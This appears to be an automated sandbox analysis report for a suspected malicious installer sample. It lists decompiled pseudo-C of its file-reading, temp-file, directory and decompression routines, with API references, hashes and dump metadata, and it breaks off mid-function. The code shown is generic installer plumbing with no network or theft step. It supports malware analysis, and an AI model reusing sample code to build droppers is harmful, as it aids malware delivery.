Opcode ID: f9db49ae82bc0455a9a4c76cf7da3ce7a56af4e0fd76222d523802bb17758e9c
Instruction ID: d0cccbd649004606f95dedf69878330a216c89f53134273ac5b4da6c3b1201e0
Opcode Fuzzy Hash: f9db49ae82bc0455a9a4c76cf7da3ce7a56af4e0fd76222d523802bb17758e9c
Instruction Fuzzy Hash: 8B41BF72900641EBDB119F20DC95B9D37ECBF06365F144569F90B9A28ADBB8B88CC760

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00401C43(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402D84(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 0x18) = _t29;
				_t30 = E00402D84(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
				}
				__eflags =  *(_t64 - 0x1c) & 0x00000002;
				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402DA6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t61 = E00402DA6();
					_t32 = E00402DA6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t61;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32); // executed
					goto L10;
				} else {
					_t63 = E00402D84();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402D84(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x1c) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x38) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
					_push( *(_t64 - 0x38));
					E004065AF();
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c43
0x00401c45
0x00401c4c
0x00401c4f
0x00401c52
0x00401c5c
0x00401c60
0x00401c63
0x00401c6c
0x00401c6c
0x00401c6f
0x00401c73
0x00401c7c
0x00401c7c
0x00401c7f
0x00401c83
0x00401c85
0x00401cda
0x00401cdc
0x00401ce7
0x00401cf1
0x00401cf4
0x00401cf4
0x00401cfd
0x00000000
0x00401c87
0x00401c8e
0x00401c90
0x00401c93
0x00401c99
0x00401ca0
0x00401ca3
0x00401ccb
0x00401d03
0x00401d03
0x00401ca5
0x00401cb3
0x00401cbb
0x00401cbe
0x00401cbe
0x00401ca3
0x00401d06
0x00401d09
0x00401d0f
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
Instruction ID: e1c20d37316975b9b94706f7b3abd8da4b7b3b5136eece5bd2aa3cbae88a6c19
Opcode Fuzzy Hash: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
Instruction Fuzzy Hash: 28219E7190420AEFEF05AFA4D94AAAE7BB4FF44304F14453EF601B61D0D7B88941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00406187 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406187(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a5ac; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x0040618d
0x00406193
0x00406194
0x00406194
0x00406199
0x0040619a
0x0040619d
0x004061a2
0x004061a5
0x004061af
0x004061bc
0x004061c0
0x004061c8
0x00000000
0x00000000
0x004061cc
0x00000000
0x004061ce
0x004061ce
0x004061ce
0x004061d1
0x004061d4
0x004061d4
0x004061d7
0x00000000

APIs

GetTickCount.KERNEL32 ref: 004061A5
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040363E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 004061C0

Strings

nsa, xrefs: 00406194
C:\Users\user\AppData\Local\Temp\, xrefs: 0040618C

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-944333549
Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction ID: 21b676f9b33da427d45e0b2d6905a63b6509bf3d89a4e990effff8b21c6fdcbe
Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction Fuzzy Hash: C3F09076700214BFEB008F59DD05E9AB7BCEBA1710F11803AEE05EB180E6B0A9648768

Uniqueness

Uniqueness Score: -1.00%

Function 032C6CE6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

h, xrefs: 032C6EC6
`, xrefs: 032C6EA9

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: `$h
API String ID: 0-698664372
Opcode ID: ef3993ca7d5af2aea9fef1095c62bafb90bca6d5f8f73598ed6bc5998fe98c43
Instruction ID: 15c01b053a8a964fb9abab3403f857da0661747854bd3e9cfc0b62b234355e97
Opcode Fuzzy Hash: ef3993ca7d5af2aea9fef1095c62bafb90bca6d5f8f73598ed6bc5998fe98c43
Instruction Fuzzy Hash: 365158346247899FEF34DD28CDA53DE32A79F85350FA8822ECC499B544DB7186C6CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00403371 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00403371(void* __ecx, long _a4, intOrPtr _a8, void* _a12, long _a16) {
				long _v8;
				long _t21;
				long _t22;
				void* _t24;
				long _t26;
				int _t27;
				long _t28;
				void* _t30;
				long _t31;
				long _t32;
				long _t36;

				_t21 = _a4;
				if(_t21 >= 0) {
					_t32 = _t21 +  *0x42a2b8;
					 *0x420ef4 = _t32;
					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
				}
				_t22 = E00403479(4);
				if(_t22 >= 0) {
					_t24 = E004061DB( *0x40a01c,  &_a4, 4); // executed
					if(_t24 == 0) {
						L18:
						_push(0xfffffffd);
						goto L19;
					} else {
						 *0x420ef4 =  *0x420ef4 + 4;
						_t36 = E00403479(_a4);
						if(_t36 < 0) {
							L21:
							_t22 = _t36;
						} else {
							if(_a12 != 0) {
								_t26 = _a4;
								if(_t26 >= _a16) {
									_t26 = _a16;
								}
								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
								if(_t27 != 0) {
									_t36 = _v8;
									 *0x420ef4 =  *0x420ef4 + _t36;
									goto L21;
								} else {
									goto L18;
								}
							} else {
								if(_a4 <= 0) {
									goto L21;
								} else {
									while(1) {
										_t28 = _a4;
										if(_a4 >= 0x4000) {
											_t28 = 0x4000;
										}
										_v8 = _t28;
										if(E004061DB( *0x40a01c, 0x414ef0, _t28) == 0) {
											goto L18;
										}
										_t30 = E0040620A(_a8, 0x414ef0, _v8); // executed
										if(_t30 == 0) {
											_push(0xfffffffe);
											L19:
											_pop(_t22);
										} else {
											_t31 = _v8;
											_a4 = _a4 - _t31;
											 *0x420ef4 =  *0x420ef4 + _t31;
											_t36 = _t36 + _t31;
											if(_a4 > 0) {
												continue;
											} else {
												goto L21;
											}
										}
										goto L22;
									}
									goto L18;
								}
							}
						}
					}
				}
				L22:
				return _t22;
			}

0x00403375
0x0040337e
0x00403387
0x0040338b
0x00403396
0x00403396
0x0040339e
0x004033a5
0x004033b7
0x004033be
0x00403463
0x00403463
0x00000000
0x004033c4
0x004033c7
0x004033d3
0x004033d7
0x00403471
0x00403471
0x004033dd
0x004033e0
0x0040343f
0x00403445
0x00403447
0x00403447
0x00403459
0x00403461
0x00403468
0x0040346b
0x00000000
0x00000000
0x00000000
0x00000000
0x004033e2
0x004033e5
0x00000000
0x004033eb
0x004033f0
0x004033f7
0x004033fa
0x004033fc
0x004033fc
0x00403409
0x00403413
0x00000000
0x00000000
0x0040341c
0x00403423
0x0040343b
0x00403465
0x00403465
0x00403425
0x00403425
0x00403428
0x0040342b
0x00403431
0x00403437
0x00000000
0x00403439
0x00000000
0x00403439
0x00403437
0x00000000
0x00403423
0x00000000
0x004033f0
0x004033e5
0x004033e0
0x004033d7
0x004033be
0x00403473
0x00403476

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 00403396

Strings

<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu, xrefs: 004033EB, 00403402, 00403418

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: FilePointer
String ID: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu
API String ID: 973152223-3314153250
Opcode ID: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
Instruction ID: 963a71f16df831595788c30304fa9cedbf2cad19eb63879c1ada4fe15c9ed8fa
Opcode Fuzzy Hash: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
Instruction Fuzzy Hash: 93319F70200219EFDB129F65ED84E9A3FA8FF00355B10443AF905EA1A1D778CE51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402DA6(0xfffffff0);
				_t17 = E00405FE2(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405F64(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E00405C16( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405C33(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405B99( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00406668(L"C:\\Users\\Arthur\\AppData\\Local\\Temp",  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x004022f1
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402c2d
0x00402c39

APIs

Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50, 4|v.|v,?,767C2EE0,00405D94,?,767C3420,767C2EE0,00000000), ref: 00405FF0
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405B99: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Temp,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 1892508949-670666241
Opcode ID: 549c49a0165827fdc5d5d158968deb429f02c31064a37383ceaea4003741be7b
Instruction ID: a0118e7b9b939ef3ea3e51add98df8039a5aa70d3b8e99a19be4f9c31e9f39fe
Opcode Fuzzy Hash: 549c49a0165827fdc5d5d158968deb429f02c31064a37383ceaea4003741be7b
Instruction Fuzzy Hash: 04112231508105EBCF30AFA0CD4099E36A0EF15329B28493BF901B22F1DB3E4982DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 004061DB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004061DB(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004061df
0x004061ef
0x004061f7
0x00000000
0x004061fe
0x00000000
0x00406200

APIs

ReadFile.KERNELBASE(?,00000000,00000000,00000000,00000000,<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu,font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/> <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/> </g></svg>pixbuf_2_0_0_dll_iname,004035F5,?,?,004034F9,<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu,00004000,?,00000000,004033A3), ref: 004061EF

Strings

font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/> <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/> </g></svg>pixbuf_2_0_0_dll_iname, xrefs: 004061DB
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu, xrefs: 004061DE

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: FileRead
String ID: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu$font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/> <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/> </g></svg>pixbuf_2_0_0_dll_iname
API String ID: 2738559852-3310649546
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: 689b8facb1381159ac92aeccc4703b7db47ce2620db9a14c340ec3ef8a35c8b1
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: C1E0863250021AABDF10AE518C04AEB375CEB01360F014477F922E2150D230E82187E8

Uniqueness

Uniqueness Score: -1.00%

Function 00407194 Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407194() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M00407602))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8));
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
